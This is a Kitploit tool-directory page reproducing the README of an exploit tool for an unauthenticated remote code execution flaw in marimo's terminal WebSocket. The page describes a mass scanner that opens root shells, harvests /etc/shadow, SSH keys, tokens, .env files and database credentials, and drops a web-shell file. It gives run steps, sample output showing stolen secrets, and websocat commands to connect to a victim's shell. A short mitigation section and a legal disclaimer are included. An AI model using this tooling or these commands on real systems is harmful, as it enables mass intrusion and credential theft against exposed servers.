Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/nxploited/cve-2026-39987
Privilege EscalationExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed TeamingRemote Access Tool
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability

View Repository
144 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39987

marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability

root@kitploit:~
   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — Unauthenticated WebSocket Pre-Auth RCE

Mass Scanner · Full Enumeration · Smart Detection


Python CVE Severity Type Platform License


Author: Nxploited  ·  Telegram: @KNxploited


📢 Join the Telegram channel for the latest free zero-days & exploits:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 Overview

CVE-2026-39987 is a critical Pre-Authentication Remote Code Execution vulnerability affecting Marimo, an open-source reactive Python notebook platform.

The terminal WebSocket endpoint /terminal/ws completely lacks authentication validation, allowing any unauthenticated remote attacker to obtain a full PTY shell and execute arbitrary system commands with the privileges of the running process — often root inside containerized deployments.

Unlike other WebSocket endpoints such as /ws, which correctly invoke validate_auth() before accepting connections, the /terminal/ws endpoint only verifies the running mode and platform compatibility, entirely skipping authentication.

✅ Patched in: marimo >= 0.23.0 ❌ All versions prior to 0.23.0 are vulnerable


🔍 Vulnerability Details

🧩 Root Cause

root@kitploit:~
/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

The /terminal/ws handler only checks:

  1. Whether the server is running in the correct mode
  2. Whether the platform supports terminal emulation

It never validates session tokens, cookies, or any form of identity — making every exposed Marimo instance a direct shell.


✨ Features

  • 🔥 Mass Scanner — Scan thousands of targets concurrently with configurable thread pools
  • 🧠 Smart Environment Detection — Auto-detects: Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · Python apps
  • 🐚 Full PTY Shell Access — Unauthenticated WebSocket shell with complete terminal emulation
  • 📓 Notebook Enumeration — Recursively discovers and reads all .py Marimo notebooks
  • 🔑 Token Harvesting — Extracts Marimo tokens from CLI arguments, ENV variables, and log files
  • 🗄️ Database Discovery — Auto-probes MySQL · PostgreSQL · Redis · SQLite · DuckDB
  • 🔐 Credential Extraction — .env files · wp-config.php · SSH private keys · /etc/shadow
  • 📂 Web Shell Verification (Nx Drop) — Writes and HTTP-verifies a proof-of-concept file to the webroot
  • 📊 Structured Per-Target Output — Every target gets its own organized output directory
  • 🎨 Rich Terminal UI — Professional color-coded interface with panels, progress tracking, and live stats

⚙️ Requirements

root@kitploit:~
Python 3.10 or higher

Install dependencies:

root@kitploit:~
pip install websockets rich requests urllib3

Or using the requirements file:

root@kitploit:~
pip install -r requirements.txt

requirements.txt

root@kitploit:~
websockets
rich
requests
urllib3

🚀 Usage

Step 1 — Prepare your targets file

Create a file named targets.txt with one target per line. The tool accepts all formats:

root@kitploit:~
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

Supported formats: bare IP · IP:port · domain · domain:port · http:// · https:// · ws:// · wss://


Step 2 — Launch the scanner

root@kitploit:~
python3 CVE-2026-39987.py

Step 3 — Interactive configuration

root@kitploit:~
  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

Thread range: 1–300. Recommended: 50–150 depending on your network.


🖥️ Output Preview

Terminal UI

root@kitploit:~
  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

Live Progress

root@kitploit:~
  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

📁 Output Structure

root@kitploit:~
nx_output/
│
├── summary.txt                    ← Master summary of all targets
├── curls.txt                      ← websocat one-liners for all shells
├── Nx.txt                         ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/            ← Per-target directory
    ├── summary.txt                ← Target summary & connect command
    ├── identity.txt               ← id · whoami · uname · hostname · shell
    ├── users.txt                  ← /etc/passwd · shadow · sudoers · last
    ├── ssh_keys.txt               ← Discovered SSH private keys & auth keys
    ├── etc_data.txt               ← /etc/hosts · resolv.conf · crontab · env
    ├── env_sensitive.txt          ← Filtered sensitive environment variables
    ├── databases.txt              ← MySQL · Redis · PostgreSQL · config files
    ├── app_configs.txt            ← .env · wp-config.php · settings.py · etc
    ├── notebooks.txt              ← Full content of all Marimo notebooks
    ├── marimo_toml.txt            ← .marimo.toml configuration files
    ├── marimo_tokens.txt          ← All extracted Marimo auth tokens
    ├── dotenv.txt                 ← .env / .env.local / .env.production
    ├── databases_marimo.txt       ← DuckDB · SQLite · DB URLs from notebooks
    ├── webserver_configs.txt      ← Apache/Nginx VirtualHosts & configs
    ├── network.txt                ← Interfaces · routes · open ports · iptables
    ├── processes.txt              ← ps aux · crontab · cron.d · systemd units
    ├── logs.txt                   ← auth.log · syslog · access.log · error.log
    ├── nx_file.txt                ← Nx drop path · web root · HTTP URL
    └── software.txt               ← PHP · Python · Node.js versions

📊 Access Levels


🌍 Supported Environments


🔌 Manual Connection

Once a vulnerable target is identified, connect manually using websocat:

root@kitploit:~
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"

The Authorization header value is irrelevant — the endpoint accepts any or no token.


🛡️ Mitigation

If you are running Marimo in a production or exposed environment:

  1. Upgrade immediately to marimo >= 0.23.0
  2. Place Marimo behind an authenticated reverse proxy (Nginx + BasicAuth / OAuth2 proxy)
  3. Bind Marimo only to 127.0.0.1 — never expose it directly to the internet
  4. Use firewall rules to restrict /terminal/ws access
  5. Audit your deployment for exposed instances

⚠️ Disclaimer

This tool is provided strictly for educational purposes, authorized penetration testing, and legitimate security research.

You must have explicit written permission from the system owner before running this tool against any target. Unauthorized use against systems you do not own or have permission to test is illegal and may result in civil and/or criminal prosecution under applicable computer crime laws, including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act, EU cybercrime directives, and equivalent legislation in your jurisdiction.

The author accepts no liability for any damage, data loss, or legal consequences arising from misuse of this tool.

Use responsibly. Hack ethically.


👤 Author

Download Tool
PropertyValue
CVE IDCVE-2026-39987
Affected Softwaremarimo < 0.23.0
Vulnerability ClassPre-Auth RCE via Unauthenticated WebSocket
Affected Endpoint/terminal/ws
Attack VectorNetwork
Authentication Required❌ None
User Interaction❌ None
Severity🔴 Critical
ImpactFull PTY shell · Arbitrary command execution
Fixed Versionmarimo 0.23.0
IconLevelDescription
✦✦✦ 🟢ROOTuid=0 — Full root access
✦✦ 🟡PRIVMember of sudo · wheel · docker · disk · adm
✦ 🔵SHELLUnprivileged shell access
✗ 🔴FAILConnection refused · timeout · HTTP error
EnvironmentAuto-DetectedSpecialized Collection
🟣 Marimo✅Notebooks · Tokens · DuckDB · .marimo.toml · mounts
🔵 cPanel / WHM✅userdomains · MySQL password · WHM user list
🟠 Plesk✅psa.shadow · vhosts · MySQL admin credentials
🌐 Apache✅VirtualHosts · sites-enabled · access/error logs
🟢 Nginx✅Server blocks · conf.d · access/error logs
🐍 Python App✅.env · settings.py · config.py · Pipfile
🟡 Node.js✅.env · package.json · public directory
🐳 Docker✅Bind mounts · container-local storage detection
⚙️ Generic✅Full enumeration suite on unknown environments
HandleNxploited
GitHubgithub.com/Nxploited
Telegram@KNxploited
ChannelNxploited ZeroDay Hub


"The quieter you become, the more you are able to hear."


⭐ If this tool was useful, drop a star and join the channel for more zero-days! ⭐

🔗 t.me/KNxploited